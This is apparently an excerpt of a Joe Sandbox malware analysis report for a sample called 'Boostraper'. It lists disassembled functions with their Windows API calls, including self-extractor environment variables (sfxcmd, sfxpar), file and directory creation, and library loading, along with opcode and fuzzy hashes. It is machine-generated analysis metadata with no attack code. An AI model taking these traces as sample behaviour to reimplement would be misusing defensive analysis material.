Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 2e5571a68294ecd52c669656dbc6c55fdd6a02e86d27f73c885c778891b7fbde
Instruction ID: 02bf4c9fb6ece2e8ccc057f8c00493fc7bf3ea4715aa33207e56928589788106
Opcode Fuzzy Hash: 2e5571a68294ecd52c669656dbc6c55fdd6a02e86d27f73c885c778891b7fbde
Instruction Fuzzy Hash: 06415930546745AFEB208F20CC0ABD6BBD0BB42364F108719F6E8961D0E77CA988CB95

Function 0078A335 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00780085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 007800A0
Part of subcall function 00780085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0077EB86,Crypt32.dll,00000000,0077EC0A,?,?,0077EBEC,?,?,?), ref: 007800C2

OleInitialize.OLE32(00000000), ref: 0078A34E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0078A385
SHGetMalloc.SHELL32(007B8430), ref: 0078A38F

Strings

riched20.dll, xrefs: 0078A33D

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: 9d6f138c7648ad3044d481ecff97623a100917a2fedb60b114ea1b9c627bb449
Instruction ID: 24b7166c8c899b4be8d990cfaafb785c3491fa6a8600ddf803a53cca239fe5f0
Opcode Fuzzy Hash: 9d6f138c7648ad3044d481ecff97623a100917a2fedb60b114ea1b9c627bb449
Instruction Fuzzy Hash: 1CF0FFB1D4120DABCB50AF99D8499EFFBFCEF95701F00415BE854E2211DBB85606CBA1

Function 0078D287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0078D29D
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0078D2D9

Strings

sfxpar, xrefs: 0078D2D4
sfxcmd, xrefs: 0078D298

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 93ad1e073532ada5046f3a519b74c5d7a0fe21290e0187005188dac7728ca342
Instruction ID: b537533d771712aed94bf1dc6fa6d512e5f2b8b164fad9a6cb8a517656499d27
Opcode Fuzzy Hash: 93ad1e073532ada5046f3a519b74c5d7a0fe21290e0187005188dac7728ca342
Instruction Fuzzy Hash: E4F0A7B294062CE6CB303FA4DC1DABA7758BF0A791B004152FC4896151D66CCD50D7F1

Function 0077984E Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0077985E
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00779876
GetLastError.KERNEL32 ref: 007798A8
GetLastError.KERNEL32 ref: 007798C7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: f39d54756fd1b559359473a300c6ca9a95133f13de714c2112c8cd2d70677532
Instruction ID: c1037cd1053efe601ae0bce71854c6c01c0f9ea024712ff7228be64e24a9da68
Opcode Fuzzy Hash: f39d54756fd1b559359473a300c6ca9a95133f13de714c2112c8cd2d70677532
Instruction Fuzzy Hash: 0B11AC30902204EBDF205F51C804A7A77A9EB4B7B0F10C12AFA2E85690D73D9E509F53

Function 0079A4F4 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,0077CFE0,00000000,00000000,?,0079A49B,0077CFE0,00000000,00000000,00000000,?,0079A698,00000006,FlsSetValue), ref: 0079A526
GetLastError.KERNEL32(?,0079A49B,0077CFE0,00000000,00000000,00000000,?,0079A698,00000006,FlsSetValue,007A7348,007A7350,00000000,00000364,?,00799077), ref: 0079A532
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0079A49B,0077CFE0,00000000,00000000,00000000,?,0079A698,00000006,FlsSetValue,007A7348,007A7350,00000000), ref: 0079A540

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ba6eca1d4de24a669fea125aec139de5f7f6f1bdbb2e5f310b3a3615726d662e
Instruction ID: 675ad2ce20ef528f456a602e18eb4c767df59082e89d9f04aea7d83853897d0e
Opcode Fuzzy Hash: ba6eca1d4de24a669fea125aec139de5f7f6f1bdbb2e5f310b3a3615726d662e
Instruction Fuzzy Hash: BB01F732712626BBCF218E68FC44A67BB98AF86BA17264620F906D7140D72DD910C6E5

Function 0079B188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00798FA5: GetLastError.KERNEL32(?,007B0EE8,00793E14,007B0EE8,?,?,00793713,00000050,?,007B0EE8,00000200), ref: 00798FA9
Part of subcall function 00798FA5: _free.LIBCMT ref: 00798FDC
Part of subcall function 00798FA5: SetLastError.KERNEL32(00000000,?,007B0EE8,00000200), ref: 0079901D
Part of subcall function 00798FA5: _abort.LIBCMT ref: 00799023

Part of subcall function 0079B2AE: _abort.LIBCMT ref: 0079B2E0
Part of subcall function 0079B2AE: _free.LIBCMT ref: 0079B314

Part of subcall function 0079AF1B: GetOEMCP.KERNEL32(00000000,?,?,0079B1A5,?), ref: 0079AF46

_free.LIBCMT ref: 0079B200
_free.LIBCMT ref: 0079B236

Strings

z, xrefs: 0079B22A

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: z
API String ID: 2991157371-2789636237
Opcode ID: 787aec2c52448666652fc45d91b3557f438541bd3dd50f3e0d05a65731d2cc99
Instruction ID: bf55cebacb5910f2c3baae4af8aa05f2fc4939df92ecbd3b3ec31d243d0c6bab
Opcode Fuzzy Hash: 787aec2c52448666652fc45d91b3557f438541bd3dd50f3e0d05a65731d2cc99
Instruction Fuzzy Hash: 7231F431900208EFDF10EFA9F945BADB7F1EF42320F254099E9149B2A1EB79AD41CB51

Function 00779F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,0077CC94,00000001,?,?,?,00000000,00784ECD,?,?,?), ref: 00779F4C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00784ECD,?,?,?,?,?,00784972,?), ref: 00779F8E
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,0077CC94,00000001,?,?), ref: 00779FB8

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 352eb305a5ac46c98583e734f427c04245df4cd76d8f8eabea6b3901d426346c
Instruction ID: 04b7d3afef469cb90a2459cab0cb6efe0376793711f993ced7903abb0607487e
Opcode Fuzzy Hash: 352eb305a5ac46c98583e734f427c04245df4cd76d8f8eabea6b3901d426346c
Instruction Fuzzy Hash: CE310471609305ABEF148F14D948B6ABBA4EB81790F04C95DF949DA281C778D948CBB2

Function 0077A207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0077A113,?,00000001,00000000,?,?), ref: 0077A22E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0077A113,?,00000001,00000000,?,?), ref: 0077A261
GetLastError.KERNEL32(?,?,?,?,0077A113,?,00000001,00000000,?,?), ref: 0077A27E

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 8970cbfc37545197943cf4ff85b909efe768ea531d6d65c9cb41dc58cc5f26db
Instruction ID: 6010f0acf3c7c03979a7f09e98ebf39a42611b8f35c7bcff63efb4f430a9ed46
Opcode Fuzzy Hash: 8970cbfc37545197943cf4ff85b909efe768ea531d6d65c9cb41dc58cc5f26db
Instruction Fuzzy Hash: 3B018031540218B6FF22AB644C09BFE3358BFCB7C1F04C451F909E5052DB6E8A8186A7

Function 0079AFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0079B019

Strings

, xrefs: 0079B05E

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: c9948d8ea41d81661f7de8f405eb7bd4090094a23f725aa724a79dca3399ad3d
Instruction ID: 1a21416f64823b15bee0ce7ffbe6842122c27417d7631bee6b5f5678a621f432
Opcode Fuzzy Hash: c9948d8ea41d81661f7de8f405eb7bd4090094a23f725aa724a79dca3399ad3d
Instruction Fuzzy Hash: FD41087050434C9BDF218E28AD94BF7BBA9EB45704F1404EDE59A87142E339AA45CF60

Function 0079A72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,?), ref: 0079A79D

Strings

LCMapStringEx, xrefs: 0079A73D, 0079A747

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: b650ea2f3dbe0143f539573b50148d2f61856e35e8288e428e7485a14b2fd54a
Instruction ID: 57902a48d68afa42c01d28fabdf26aa7d2606b4355af18fb7671b41fa6c2a834
Opcode Fuzzy Hash: b650ea2f3dbe0143f539573b50148d2f61856e35e8288e428e7485a14b2fd54a
Instruction Fuzzy Hash: 33011372541208BBCF06AFA4EC06DEE7F66EF49710F058114FE1425160CA3A8931EB92

Function 0079A6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00799D2F), ref: 0079A715

Strings

InitializeCriticalSectionEx, xrefs: 0079A6E5

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 3862f6b2a9afa27d8cd2a7bd1db6a53e51952f6efd002a5d08963b04cbbb3698
Instruction ID: 56580cebe1d13241da7a26c8f1d742664524554fa74b6db5174a49857e99e572
Opcode Fuzzy Hash: 3862f6b2a9afa27d8cd2a7bd1db6a53e51952f6efd002a5d08963b04cbbb3698
Instruction Fuzzy Hash: 9BF0B47164621CBBCF056F54DC0AC9E7F61EF86760B018154FC051A260DB794A10EBD6

Function 0079A56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0079A5AE

Strings

FlsAlloc, xrefs: 0079A58A

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: aa79bbb0e9297143acf689866215ec3046cfb74fb7171b6eee7849866b860460
Instruction ID: 31817aa28cdb0aae83c6b4c266f8e452860cb144f4d0b609da7af0b81104aa24
Opcode Fuzzy Hash: aa79bbb0e9297143acf689866215ec3046cfb74fb7171b6eee7849866b860460
Instruction Fuzzy Hash: 32E055B0B8622CBB8A186F64AC069AEBB60DB96B10B028214FC0417240CE7C4E0093DA

Function 0079329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 007932AF

Strings

FlsAlloc, xrefs: 0079329E, 007932A8

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: c17743bf30a3a600c508d818649d74e340020ddc3a6337a08fd4e287ff3500d1
Instruction ID: 83a0838c04c7692d73ceb110381c5d689dafa5eebb44513ae3a9ec45186da498
Opcode Fuzzy Hash: c17743bf30a3a600c508d818649d74e340020ddc3a6337a08fd4e287ff3500d1
Instruction Fuzzy Hash: 7ED02B627C1A38EAC51036D07C039AE7E048743FF3F450252FE0C1A24385AD490002D9

Function 0079B350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0079AF1B: GetOEMCP.KERNEL32(00000000,?,?,0079B1A5,?), ref: 0079AF46

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0079B1EA,?,00000000), ref: 0079B3C4
GetCPInfo.KERNEL32(00000000,0079B1EA,?,?,?,0079B1EA,?,00000000), ref: 0079B3D7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 5e49928be291aaa9b57795bfea16c4bf1f19112ce3b3d1c36a02abf3f1f798cf
Instruction ID: aca3a8f7367b4a322fd4d6d0a5b2fd607cbc1170e517df90117355b303acebf9
Opcode Fuzzy Hash: 5e49928be291aaa9b57795bfea16c4bf1f19112ce3b3d1c36a02abf3f1f798cf
Instruction Fuzzy Hash: AE5165709002859EDF20CF71F9856BABBE5EF81300F18806ED0968B263D73DD945EB80

Function 00771385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00771385

Part of subcall function 00776057: __EH_prolog.LIBCMT ref: 0077605C

Part of subcall function 0077C827: __EH_prolog.LIBCMT ref: 0077C82C
Part of subcall function 0077C827: new.LIBCMT ref: 0077C86F
Part of subcall function 0077C827: new.LIBCMT ref: 0077C893

new.LIBCMT ref: 007713FE

Part of subcall function 0077B07D: __EH_prolog.LIBCMT ref: 0077B082

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a5d0ed640d63c0f601814879f19847f7b9556e4dd8737d0c61b87b8d6d9a2b06
Instruction ID: 3cdc15d5912ae5376904f716bdc768d6cd4e5862ea40f365547dcc24bba5841e
Opcode Fuzzy Hash: a5d0ed640d63c0f601814879f19847f7b9556e4dd8737d0c61b87b8d6d9a2b06
Instruction Fuzzy Hash: 164116B0905B40DED724DF7984899E7FBE5FB18340F504A2ED6EE83282DB366554CB11

Function 00771380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00771385

Part of subcall function 00776057: __EH_prolog.LIBCMT ref: 0077605C

Part of subcall function 0077C827: __EH_prolog.LIBCMT ref: 0077C82C
Part of subcall function 0077C827: new.LIBCMT ref: 0077C86F
Part of subcall function 0077C827: new.LIBCMT ref: 0077C893

new.LIBCMT ref: 007713FE

Part of subcall function 0077B07D: __EH_prolog.LIBCMT ref: 0077B082

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6d827c94841af1cd479b3e3f21876435db2f1791b728b54044a5bf47eca6c4ce
Instruction ID: e88630ac3d670f3067bcc7bc55173992fb55972e732aedd3df41afe51f2ba099
Opcode Fuzzy Hash: 6d827c94841af1cd479b3e3f21876435db2f1791b728b54044a5bf47eca6c4ce
Instruction Fuzzy Hash: EF4114B0805B40DEE724DF7984899E7FAE5FB18340F904A2ED2EE83282DB366554CB11

Function 0077971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00779EDC,?,?,00777867), ref: 007797A6
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00779EDC,?,?,00777867), ref: 007797DB

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0ea419e5f230de5f9162b910e61fef592488ab1b2a0ba3931f512a749763bdfb
Instruction ID: 8f2313a3c1087d013e05ac2b9542c6cfacab367d87a438431813c94203a452a6
Opcode Fuzzy Hash: 0ea419e5f230de5f9162b910e61fef592488ab1b2a0ba3931f512a749763bdfb
Instruction Fuzzy Hash: AB21E671111744EEDB348F64C886FA777E8EB497A4F00892DF6D982191C378AC448B61

Function 00779D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

